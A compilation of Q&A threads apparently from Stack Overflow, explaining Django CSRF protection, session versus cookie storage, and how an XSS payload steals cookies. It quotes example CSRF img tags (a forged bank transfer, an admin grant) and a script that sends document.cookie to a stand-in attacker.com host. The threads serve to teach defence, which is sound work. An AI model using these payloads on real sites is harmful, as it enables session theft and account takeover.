In what case can CSRF-exempt be dangerous? - django

This question is more a re-insurance than one directly about how to code. As an autodidact i did not have a lot of possibilities to ask professionals such things, so i try here.
I have read the documents in the django-docs ( https://docs.djangoproject.com/en/1.3/ref/contrib/csrf/ ) and some info on that page: http://cwe.mitre.org/top25/#CWE-352
As far as i have understood, django delivers a token (some kind of pin-code) to a user. And to verify it really is him, he has to return it the next time he does a request. And some guys at Google found out that this is even possible with ajax-requests, which is why we have the new policy of protecting them too since 1.2.6. And CSRF is about someone giving me something (bad, dangerous code, corrupt files or something like that) pretending to be someone else.
So if i have some code like this:
#csrf_exempt
def grab(request):
"""
view to download an item
POST because it stores that a user has downloaded this item
"""
item_id = request.POST.get('item', None)
if not loop: return HttpResponseBadRequest('no item id provided')
item = Item.objects.get(pk=int(item_id))
that should be save, as i'm not giving access to the database or any part of my application before trying to convert the given value to an integer. And there is not too much damage if i do a wrong record of someone downloading a file (in this case it is almost none). Assuming i would write bills relying on this view, the CSRF-exempt would be vary bad idea (Is that right?).
I also do not understand why somebody can't steal the CSRF-token from a user and use it to still trick me (or the user). So i have some questions about this topic:
1) are my assumptions from above right?
2) can somebody tell me, what (and probably how) some not so nice guy could use the view above to do dirty tricks, and what would they be?
3) is a CSRF an example of a man-in-the-middle attack, is it just related to it, or is it something entirely different?
4) Any valuable links to do further reading on such dangers?
Maybe some of these questions sound no too well informed, but i'm trying to get over that. I would be very glad if someone could help me.

CSRF attacks are about forcing a victims browser to send forged requests. A simple <img> or automatically submitted <form> suffice to do this for both GET and POST method. And as the requests are send by the browser, it sends any authentication credentials along and thus making the requests seem authentic and legitimate from the server’s point of view as they basically don’t differ from those initiated by the user’s actions.
And that’s exactly what the CSRF token is used for: establish a difference between requests that were initiated by the user and those that were forged by a third party site. For this purpose the CSRF token acts as a secret that is only known to the server and the user. The server puts the secret in the document in a response and expects it to be send back in the next request.
And as the secret is embedded in the response’s document that is assigned for this specific user, an attacker would need to eavesdrop that specific response or access the document in some other way. There certainly are attacks get the CSRF token (e. g. eavesdropping, MITM, XSS, etc.). But if you are protected against those attacks, an attacker won’t be able to forge an authentic request.

CSRF attack
I trick you into viewing a webpage where I inserted some code (a request, typically through img or form) to another site (where you possibly have some rights).
Innocuous example
<img src="http://www.yoursite.net/changelanguage?lang=fr">
I cruelly changed the language of your session to french. Oh noes! You can safely remove csrf protection and save a db hit.
Dangerous examples
<img src="http://www.yourbank.net/sendmoney?amt=9999&account=123>
If you were logged in in yourbank.net (and it has no csrf or any other protection), your account should feel lighter by now. (I am 123.)
<img src="http://www.yoursite.net/admin/users/123/edit?admin=1">
If you were logged in in yoursite.net as an admin, then we both are. (I am 123.)

Related

Setting session variables vs setting variable in browser cookie (Django app)

I need to clear a concept.
I'm tracking unauthenticated users in my Django social networking web-app via setting a temp_id that's set in the request.session dictionary as soon as a new user hits the web-app's landing page. The code is is simply:
temp_id = request.session.get('temp_id',None)
if not temp_id:
request.session['temp_id'] = get_temp_id()
So far so good.
Apart from saving a temp_id in request.session, another technique I could have used is setting a browser cookie explicitly for unauthenticated users like so:
if not request.session.exists(request.session.session_key):
request.session.create()
The concept I'd like to clarify is are these approaches equivalent?
I feel they are. My reasoning is: if a browser cookie is just a reference to a Session stored in the DB, then if cookies were turned off, matching a Session for that user would be impossible. So regardless of whichever approach I take, I'll be relying on the browser's ability to store a cookie.
Or in other words, both methods of allotting a temp_id to an unauthenticated user are, under the hood, quite similar. The only difference is that browser cookies are less secure than session variables (over HTTPS).
Can someone point out whether this line of thinking is correct? Or is my approach wrong? I'm essentially trying to ascertain which approach to take for reliably tracking unauthenticated users once they hit my app's landing page and move about.

Why is setting/getting login status on a cookie a terrible idea?

I was looking for the best practice to set/get login status and come across this one.
In the answer, Yuji suggested that setting or getting login status on a cookie is a terrible idea.
I am just curious why it is a terrible idea.
Can anyone advise?
The first reason that comes to mind is: cookies can't be trusted.
Now, Django does actually provide a system which stores user data in the cookie... cookie-based sessions ...they are not the default but the option is provided. Take note of the warnings in the docs - the data in the cookie is "signed but not encrypted" - this means the user (and anyone with access to that cookie) can see the data saved in the cookie in plaintext, but if they try to alter the data the cookie will be seen as invalid.
(Note that all Django sessions use a cookie, but the other session types like database-backed sessions don't store the data you associate with the user's session in the cookie itself, the cookie is just a token)
So, given that it is possible to safely store data in a cookie why do we say "don't do ever this" about the login state?
The main reason is because there is no point inventing your own half-baked login scheme when there is a standard, secure and well-thought-out authentication system provided with Django:
https://docs.djangoproject.com/en/dev/topics/auth/
If you need to know on the client-side if the user is logged in, the most common way is probably to pass a variable from the view into the template, eg request.user.is_authenticated and render some different HTML or write out a var into a javascript block.
In Javascript alone you could also check for the presence of the session cookie.
In addition to the answers given: Some people tend to use cookie blockers.
And if you clear your cookies while surfing, you can change your status.

Why CSRF protect session-less users?

Some frameworks (e.g. Django) support CSRF protection for users without any kind of session. What is the benefit of that?
What is the exploit that a CSRF attack could take advantage of when there is no existing session for the user?
Off the top of my head:
Having CSRF protection on day 1 means you don't need to worry about adding it after the fact if on day 17 you add user sessions
Even if there's no explicit sessions, there still could be some other authentication or mechanism that is protecting the site (example would be if you were running a django site on your private network; if you were browsing from inside your network that site AND evil.com, evil.com could trick your browser into sending requests to your private site. Rather unlikely but at least makes the point I hope.)
You might also want to raise this on the security stack overflow.
(Updated based on comment below)
Even if there was no authentication or other reason to trust the browser, there are two other weak benefits for using CSRF protection:
As Bobince points out, it does prevent simpler spamming attacks (since they now need to connect to the first page to get the CSRF token), and it also means that if someone does do something malicious, the IP in the server logs is going to be linked to them and not the client's IP. (Of course, that's spoofable etc. but it's still slightly better than making it trivial to make it look like the attack is coming from someone else)
If you were using some form of persistent authentication that wasn't based around session association (eg: HTTP Basic Auth), that would still need CSRF protection.
For entirely anonymous connections, it can still act as an obfuscation measure to block automated form submissions from the stupider kind of bots.

Is it a security risk to include 'CSRF token' in pages requiring no authentication?

I have a Django Site that uses Django's csrf-token for protection against csrf attacks. One of the forms can be accessed by public, including people who have not logged in.
Csrf Token is supposed to give protection against cross domain requests.
Edit: (quote from my comment)
"But, in case of post requests that are allowed without requiring authorization, csrf is no better than a trival spam filter(captcha would do better here). In fact, it should be a security risk to include CSRF token(that expire after say, 30 mins) in pages that require no authentication what so ever.(but my site is doing it, which is why I made this post in the first place)"
Also, in this case, one could just fetch that page in browser js console, get the csrf token through some specific xpath and then post some arbitrary data with that csrf. Also, steps being easily reproducible, one could design a specific attack for the site, or any Django site for that matter cause you'll find csrf token besides 'csrfmiddlewaretoken' every time (and that includes sites like reddit, pinterest etc.).
As far as I can see, apart from making it a little difficult, csrf token didn't help much.
Is there an aspect to it I am missing? Is my implementation wrong? and If I'am correct is it dumb to have your csrf token flying around in your html source(esp. those not requiring any authentication)?
This question has a really good couple of answers about the same thing. Also, the last answer on there addresses the fact that it technically would be possible to scrape the form for the token (via javascript), and then submit a post request with it (via javascript). But that the victim would have to be logged in.
The point of the CSRF protection is to specifically prevent tricking a random user. It has nothing to do with client-side exploits. You also have to consider that part of the protection includes denying cross-site origin requests. The request would have to come from the same origin as the target site.
Bottom line, CSRF has value. Its a region of protection, but its not the end all be all. And you can't defend against everything.
Quote from a blog post about CSRF:
Secret hidden form value. Send down a unique server form value with
each form -- typically tied to the user session -- and validate that
you get the same value back in the form post. The attacker can't
simply scrape your remote form as the target user through JavaScript,
thanks to same-domain request limits in the XmlHttpRequest function.
... And comments of interest:
I'm not a javascript wizard, but is it possible to load a remote page
in a hidden iframe on the malicious page, parse it with javascript to
find the hidden token and then populate the form the user is
(presumably) about to submit with the right values?
David Goodwin on September 24, 2008 2:35 AM
#David Goodwin: No, the same-origin policy would prevent the malicious
page from reading the contents of the iframe.
Rico on September 24, 2008 3:03 AM
If your form is public and doesn't require authentication, then there is nothing stopping anyone (including malicious sites/plugins/people) from posting to it. That problem is called Spam, not CSRF.
Read this: http://en.wikipedia.org/wiki/Cross-site_request_forgery
CSRF involves a malicious site posting to your forms by pretending to be an authenticated user.

Question on a type of XSS attack

Cited from http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt:
As many here probably know, current XSS attacks typically come in two flavors:
1 - Attacker uploads tags to a public bulliten board, blog, or other site that
has an XSS vulnerability and that lots of other users will visit. Attacker normally
harvests site cookies for later user impersonation, but form submits and other attacks
are sometimes utilized. This is what many folks I talk to think XSS is.
Here's an example:
Someone would post the following on evilblog.com that other users would process
<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>
This would try to pull an image off the attacker's server with the user's evilblog
cookies in the URL.
My Question:
I don't understand the purpose/result of image URL path being written above. Can anyone elaborate more on this?
PS: What does it means for "This would try to pull an image off the attacker's server with the user's evilblog cookies in the URL"
The document.write() simply adds an img-tag to the site and the browser will try to load the image from that URL.
Scripts and Frames are sometimes blocked when they come from a different domain so the XSS attack would fail in this case. Images are usually allowed as many sites display images from a different host anyways so the XSS attack will succeed.
The result is an entry in the attackers log which contains the cookie information and since it usually returns nothing it's interpreted as a broken image so most browsers display nothing and the users don't suspect anything.
The purpose is that an image is automatically retrieved by the browser; in the example the cookie details are set in the querystring to that URL, and so the attacker gets the URL, gets the cookie, and therefor gets the details required for authentication.
Simple. It initiates a request to hostile domain that contains the cookie in the URL of the request.